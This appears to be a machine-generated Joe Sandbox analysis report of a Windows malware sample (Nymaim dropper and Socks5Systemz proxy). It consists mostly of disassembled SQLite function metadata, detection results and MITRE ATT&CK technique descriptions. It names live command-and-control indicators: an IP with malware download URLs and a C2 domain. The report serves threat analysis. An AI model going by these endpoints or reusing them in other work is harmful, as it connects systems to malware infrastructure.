Associated: 00000006.00000002.3049508003.000000006097D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049525902.0000000060980000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_60900000_altergame32.jbxd

Similarity

API ID: sqlite3_freesqlite3_value_text
String ID: (NULL)$NULL
API String ID: 2175239460-873412390
Opcode ID: 2d639d8f8789be8f4f2115c7e339461789bfa1512606a4b94e85873a15b94a2d
Instruction ID: 63658e955800b40111a930d2026d12727b3b294c4be858d68b3f7c51d7abf176
Opcode Fuzzy Hash: 2d639d8f8789be8f4f2115c7e339461789bfa1512606a4b94e85873a15b94a2d
Instruction Fuzzy Hash: E3514B31F0825A8EEB258A68C89479DBBB6BF66304F1441E9C4A9AB241D7309DC6CF01

Function 60942334 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 122COMMON

Download Yara Rule

APIs

sqlite3_log.SQLITE3 ref: 609498F5

Strings

string or blob too big, xrefs: 60949978
|, xrefs: 609499CF

Memory Dump Source

Source File: 00000006.00000002.3049400617.0000000060901000.00000020.00000001.01000000.0000000B.sdmp, Offset: 60900000, based on PE: true

Associated: 00000006.00000002.3049381408.0000000060900000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049450262.000000006096E000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049470005.000000006096F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049490074.000000006097B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049508003.000000006097D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049525902.0000000060980000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_60900000_altergame32.jbxd

Similarity

API ID: sqlite3_log
String ID: string or blob too big$|
API String ID: 632333372-330586046
Opcode ID: b6301cf988e6664baaa8b4960c9a349f418ad1f33ca54faa928bbeacb0d503e6
Instruction ID: 65a9847582dc10a4f4f17f1c4fc8d82f10366072c52f03016cacc5a11d353e3e
Opcode Fuzzy Hash: b6301cf988e6664baaa8b4960c9a349f418ad1f33ca54faa928bbeacb0d503e6
Instruction Fuzzy Hash: 4D51B9749083689BCB22CF28C985789BBF6BF59314F1086D9E49897351C775EE81CF41

Function 609494A9 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 110COMMON

Download Yara Rule

APIs

sqlite3_log.SQLITE3 ref: 609498F5

Strings

-- , xrefs: 60949549
d, xrefs: 609494E6

Memory Dump Source

Source File: 00000006.00000002.3049400617.0000000060901000.00000020.00000001.01000000.0000000B.sdmp, Offset: 60900000, based on PE: true

Associated: 00000006.00000002.3049381408.0000000060900000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049450262.000000006096E000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049470005.000000006096F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049490074.000000006097B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049508003.000000006097D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049525902.0000000060980000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_60900000_altergame32.jbxd

Similarity

API ID: sqlite3_log
String ID: -- $d
API String ID: 632333372-777087308
Opcode ID: 04c39e600f9b005651fcb68da317ac4a80b79d2e803021aaf364a84fff9736a0
Instruction ID: 827f605eab188c5b26b82399601ab0ab65c2dc521f736992582695f4996adf34
Opcode Fuzzy Hash: 04c39e600f9b005651fcb68da317ac4a80b79d2e803021aaf364a84fff9736a0
Instruction Fuzzy Hash: 5651F674A042689FDB26CF28C885789BBFABF55304F1081D9E99CAB341C7759E85CF41

Function 609480BB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 79COMMON

Download Yara Rule

APIs

sqlite3_value_text.SQLITE3 ref: 609480E2
sqlite3_log.SQLITE3 ref: 609498F5

Strings

string or blob too big, xrefs: 60949978

Memory Dump Source

Source File: 00000006.00000002.3049400617.0000000060901000.00000020.00000001.01000000.0000000B.sdmp, Offset: 60900000, based on PE: true

Associated: 00000006.00000002.3049381408.0000000060900000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049450262.000000006096E000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049470005.000000006096F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049490074.000000006097B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049508003.000000006097D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049525902.0000000060980000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_60900000_altergame32.jbxd

Similarity

API ID: sqlite3_logsqlite3_value_text
String ID: string or blob too big
API String ID: 2320820228-2803948771
Opcode ID: 4552165c49a92a3f1eebbde7746405f837ee0ef0562a3825501d2540ddfe4a5c
Instruction ID: 1f8da1134a73d261049fdcd83983d84c916c8a3f87851362e697cdb17b1d2bab
Opcode Fuzzy Hash: 4552165c49a92a3f1eebbde7746405f837ee0ef0562a3825501d2540ddfe4a5c
Instruction Fuzzy Hash: F631D9B0A083249BCB25DF28C881799B7FABF69304F0085DAE898A7301D775DE81CF45

Function 6091407D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 53COMMON

Download Yara Rule

APIs

sqlite3_aggregate_context.SQLITE3 ref: 60914096
sqlite3_value_numeric_type.SQLITE3 ref: 609140A2

Strings

, xrefs: 60914088

Memory Dump Source

Source File: 00000006.00000002.3049400617.0000000060901000.00000020.00000001.01000000.0000000B.sdmp, Offset: 60900000, based on PE: true

Associated: 00000006.00000002.3049381408.0000000060900000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049450262.000000006096E000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049470005.000000006096F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049490074.000000006097B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049508003.000000006097D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049525902.0000000060980000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_60900000_altergame32.jbxd

Similarity

API ID: sqlite3_aggregate_contextsqlite3_value_numeric_type
String ID:
API String ID: 3265351223-3916222277
Opcode ID: 46809e466d9dc696839b8d734d1d71a7cd961db8d22299a3a9f395bc6b436a6c
Instruction ID: a3c0f903ff645dd1c5a8146eaa2078e963ad6c1b8d1bbf61d5d4caeb1888773d
Opcode Fuzzy Hash: 46809e466d9dc696839b8d734d1d71a7cd961db8d22299a3a9f395bc6b436a6c
Instruction Fuzzy Hash: 19119EB0A0C6589BDF059F69C4D539A7BF6AF39308F0044E8D8D08B205E771CD94CB81

Function 60956040 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

sqlite3_stricmp.SQLITE3 ref: 60956065
sqlite3_stricmp.SQLITE3 ref: 6095607E

Strings

log, xrefs: 609560C0

Memory Dump Source

Source File: 00000006.00000002.3049400617.0000000060901000.00000020.00000001.01000000.0000000B.sdmp, Offset: 60900000, based on PE: true

Associated: 00000006.00000002.3049381408.0000000060900000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049450262.000000006096E000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049470005.000000006096F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049490074.000000006097B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049508003.000000006097D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049525902.0000000060980000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_60900000_altergame32.jbxd

Similarity

API ID: sqlite3_stricmp
String ID: log
API String ID: 912767213-2403297477
Opcode ID: 32625358f7d37366d1c1d188942de81712d107425b8b720a67b4b84d1adec0cd
Instruction ID: cbf508da25866b0a35bc2ca480d64d7c482f0664b0359b741109bd545b4f9ff5
Opcode Fuzzy Hash: 32625358f7d37366d1c1d188942de81712d107425b8b720a67b4b84d1adec0cd
Instruction Fuzzy Hash: FD11DAB07087048BE725AF66C49535EBBB3ABA1708F10C42CE4854B784C7BAC986DB42

Function 60902148 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42COMMON

Download Yara Rule

APIs

sqlite3_strnicmp.SQLITE3 ref: 60902167
sqlite3_strnicmp.SQLITE3 ref: 60902193

Strings

SQLITE_, xrefs: 6090215C

Memory Dump Source

Source File: 00000006.00000002.3049400617.0000000060901000.00000020.00000001.01000000.0000000B.sdmp, Offset: 60900000, based on PE: true

Associated: 00000006.00000002.3049381408.0000000060900000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049450262.000000006096E000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049470005.000000006096F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049490074.000000006097B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049508003.000000006097D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049525902.0000000060980000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_60900000_altergame32.jbxd

Similarity

API ID: sqlite3_strnicmp
String ID: SQLITE_
API String ID: 1961171630-787686576
Opcode ID: 6b56a851e7df47422a7a29131339b4dfcb3302745a705f9abe90012807219487
Instruction ID: 6d5ef3c0fd507030b5e8170497320435726bf3f0db30f2d6f2734bcd7f756fb3
Opcode Fuzzy Hash: 6b56a851e7df47422a7a29131339b4dfcb3302745a705f9abe90012807219487
Instruction Fuzzy Hash: 2501D6B190C3505FD7419F29CC8075BBFFAEBA5258F10486DE89687212D374DC81D781

Function 6091A1B8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 40COMMON

Download Yara Rule

APIs

sqlite3_value_bytes.SQLITE3 ref: 6091A1DB
sqlite3_value_blob.SQLITE3 ref: 6091A1FA

Strings

Invalid argument to rtreedepth(), xrefs: 6091A1E3

Memory Dump Source

Source File: 00000006.00000002.3049400617.0000000060901000.00000020.00000001.01000000.0000000B.sdmp, Offset: 60900000, based on PE: true

Associated: 00000006.00000002.3049381408.0000000060900000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049450262.000000006096E000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049470005.000000006096F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049490074.000000006097B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049508003.000000006097D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049525902.0000000060980000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_60900000_altergame32.jbxd

Similarity

API ID: sqlite3_value_blobsqlite3_value_bytes
String ID: Invalid argument to rtreedepth()
API String ID: 1063208240-2843521569
Opcode ID: 11a8b631faa983fdd1b04a57150add771201859657fb9a8a7ca9793758d49f10
Instruction ID: c9489564a96cd83e586e3a08c251b8a8c74d553169181c25a19da25ffef599d7
Opcode Fuzzy Hash: 11a8b631faa983fdd1b04a57150add771201859657fb9a8a7ca9793758d49f10
Instruction Fuzzy Hash: 0FF0A4B2A0C2589BDB00AF2CC88255577A6FF24258F1045D9E9858F306EB34DDD5C7D1

Function 609561A9 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 35COMMON

Download Yara Rule

APIs

sqlite3_soft_heap_limit64.SQLITE3 ref: 609561D7

Part of subcall function 6092A43E: sqlite3_initialize.SQLITE3 ref: 6092A450
Part of subcall function 6092A43E: sqlite3_mutex_enter.SQLITE3 ref: 6092A466
Part of subcall function 6092A43E: sqlite3_mutex_leave.SQLITE3 ref: 6092A47F
Part of subcall function 6092A43E: sqlite3_memory_used.SQLITE3 ref: 6092A4BA

sqlite3_soft_heap_limit64.SQLITE3 ref: 609561EB

Strings

soft_heap_limit, xrefs: 609561F7

Memory Dump Source

Source File: 00000006.00000002.3049400617.0000000060901000.00000020.00000001.01000000.0000000B.sdmp, Offset: 60900000, based on PE: true

Associated: 00000006.00000002.3049381408.0000000060900000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049450262.000000006096E000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049470005.000000006096F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049490074.000000006097B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049508003.000000006097D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049525902.0000000060980000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_60900000_altergame32.jbxd

Similarity

API ID: sqlite3_soft_heap_limit64$sqlite3_initializesqlite3_memory_usedsqlite3_mutex_entersqlite3_mutex_leave
String ID: soft_heap_limit
API String ID: 1251656441-405162809
Opcode ID: 0a3178e3d5348c0d1dba646aca47308acc52713326f376e4eba91e5107f5ba07
Instruction ID: 8891d4bbc0f5aef5547f00e3070395c34840fc2012d087b050684f6162b0ba7d
Opcode Fuzzy Hash: 0a3178e3d5348c0d1dba646aca47308acc52713326f376e4eba91e5107f5ba07
Instruction Fuzzy Hash: C2014B71A083188BC710EF98D8417ADB7F2BFA5318F508629E8A49B394D730DC42CF41

Function 60925208 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28COMMON

Download Yara Rule

APIs

sqlite3_log.SQLITE3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6094A57F), ref: 6092522A
sqlite3_log.SQLITE3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6094A57F), ref: 60925263

Strings

NULL, xrefs: 60925213

Memory Dump Source

Source File: 00000006.00000002.3049400617.0000000060901000.00000020.00000001.01000000.0000000B.sdmp, Offset: 60900000, based on PE: true

Associated: 00000006.00000002.3049381408.0000000060900000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049450262.000000006096E000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049470005.000000006096F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049490074.000000006097B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049508003.000000006097D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049525902.0000000060980000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_60900000_altergame32.jbxd

Similarity

API ID: sqlite3_log
String ID: NULL
API String ID: 632333372-324932091
Opcode ID: f56f6a0e8a895df1b0101c46b9851dc3af9ce5b0d95800d46be4b721d61d1ab1
Instruction ID: 5a36de60e8574ea04015b231464f09686a41744340efbe7a8a869d8181b3dc96
Opcode Fuzzy Hash: f56f6a0e8a895df1b0101c46b9851dc3af9ce5b0d95800d46be4b721d61d1ab1
Instruction Fuzzy Hash: BAF0A070238301DBD7102FA6E44230E7AEBABB0798F48C43C95A84F289D7B5C844CB63

Function 6096D4C0 Relevance: 5.0, APIs: 4, Instructions: 44COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,6096D655,?,?,?,?,?,6096CF88), ref: 6096D4DF
TlsGetValue.KERNEL32(?,?,?,?,6096D655,?,?,?,?,?,6096CF88), ref: 6096D4F5
GetLastError.KERNEL32(?,?,?,?,?,6096D655,?,?,?,?,?,6096CF88), ref: 6096D4FD
LeaveCriticalSection.KERNEL32(?,?,?,?,6096D655,?,?,?,?,?,6096CF88), ref: 6096D520

Memory Dump Source

Source File: 00000006.00000002.3049400617.0000000060901000.00000020.00000001.01000000.0000000B.sdmp, Offset: 60900000, based on PE: true

Associated: 00000006.00000002.3049381408.0000000060900000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049450262.000000006096E000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049470005.000000006096F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049490074.000000006097B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049508003.000000006097D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.3049525902.0000000060980000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_60900000_altergame32.jbxd

Similarity

API ID: CriticalSection$EnterErrorLastLeaveValue
String ID:
API String ID: 682475483-0
Opcode ID: 79e4c3a08b5363d98cc33068bb7bbdcd271105d9d9d9c252471cf05fac27a945
Instruction ID: 6dd43474153c21470d2d90641e64b96ed0da30414b2d41baa8b5e8831fa3fcb2
Opcode Fuzzy Hash: 79e4c3a08b5363d98cc33068bb7bbdcd271105d9d9d9c252471cf05fac27a945
Instruction Fuzzy Hash: 9AF0F972A163104BEB10AF659CC1A5A7BFDEFB1218F100048FC6197354E770DC40D6A2

Source: http://185.156.72.65/add?substr=mixeleven&s=three&sub=nosub	Avira URL Cloud: Label: malware
Source: http://185.156.72.65/files/download	Avira URL Cloud: Label: malware

Source: 0.2.file.exe.6315a0.1.raw.unpack	Malware Configuration Extractor: Nymaim {"C2 addresses": ["185.156.72.65", "185.156.72.65", "185.156.72.65", "185.156.72.65"]}
Source: altergame32.exe.2488.6.memstrmin	Malware Configuration Extractor: Socks5Systemz {"C2 list": ["boietuj.com"]}

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\PAB1[1].file	ReversingLabs: Detection: 54%
Source: C:\Users\user\AppData\Roaming\xMs8rtQRv7K\ebAAb6KfuCx7.exe	ReversingLabs: Detection: 54%

Source: C:\Users\user\AppData\Local\AlterGame 1.13\altergame32.exe	Joe Sandbox ML: detected
Source: C:\ProgramData\EShineEncoder\EShineEncoder.exe	Joe Sandbox ML: detected

Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Code function: 3_2_0045CFA8 GetProcAddress,GetProcAddress,GetProcAddress,ISCryptGetVersion,	3_2_0045CFA8
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Code function: 3_2_0045D05C ArcFourCrypt,	3_2_0045D05C
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Code function: 3_2_0045D074 ArcFourCrypt,	3_2_0045D074
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Code function: 3_2_10001000 ISCryptGetVersion,	3_2_10001000
Source: C:\Users\user\AppData\Local\Temp\is-JSG7N.tmp\NqISs1vOr.tmp	Code function: 3_2_10001130 ArcFourCrypt,	3_2_10001130

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use bootkits to persist on systems. Bootkits reside at a layer below the operating system and may make it difficult to perform full remediation unless an organization suspects one was used and can act accordingly.
Tactics:	Defense Evasion, Persistence
Data Sources:	Drive: Drive Modification
Platforms:	Linux, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Socks5Systemz

Threatname: Nymaim

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

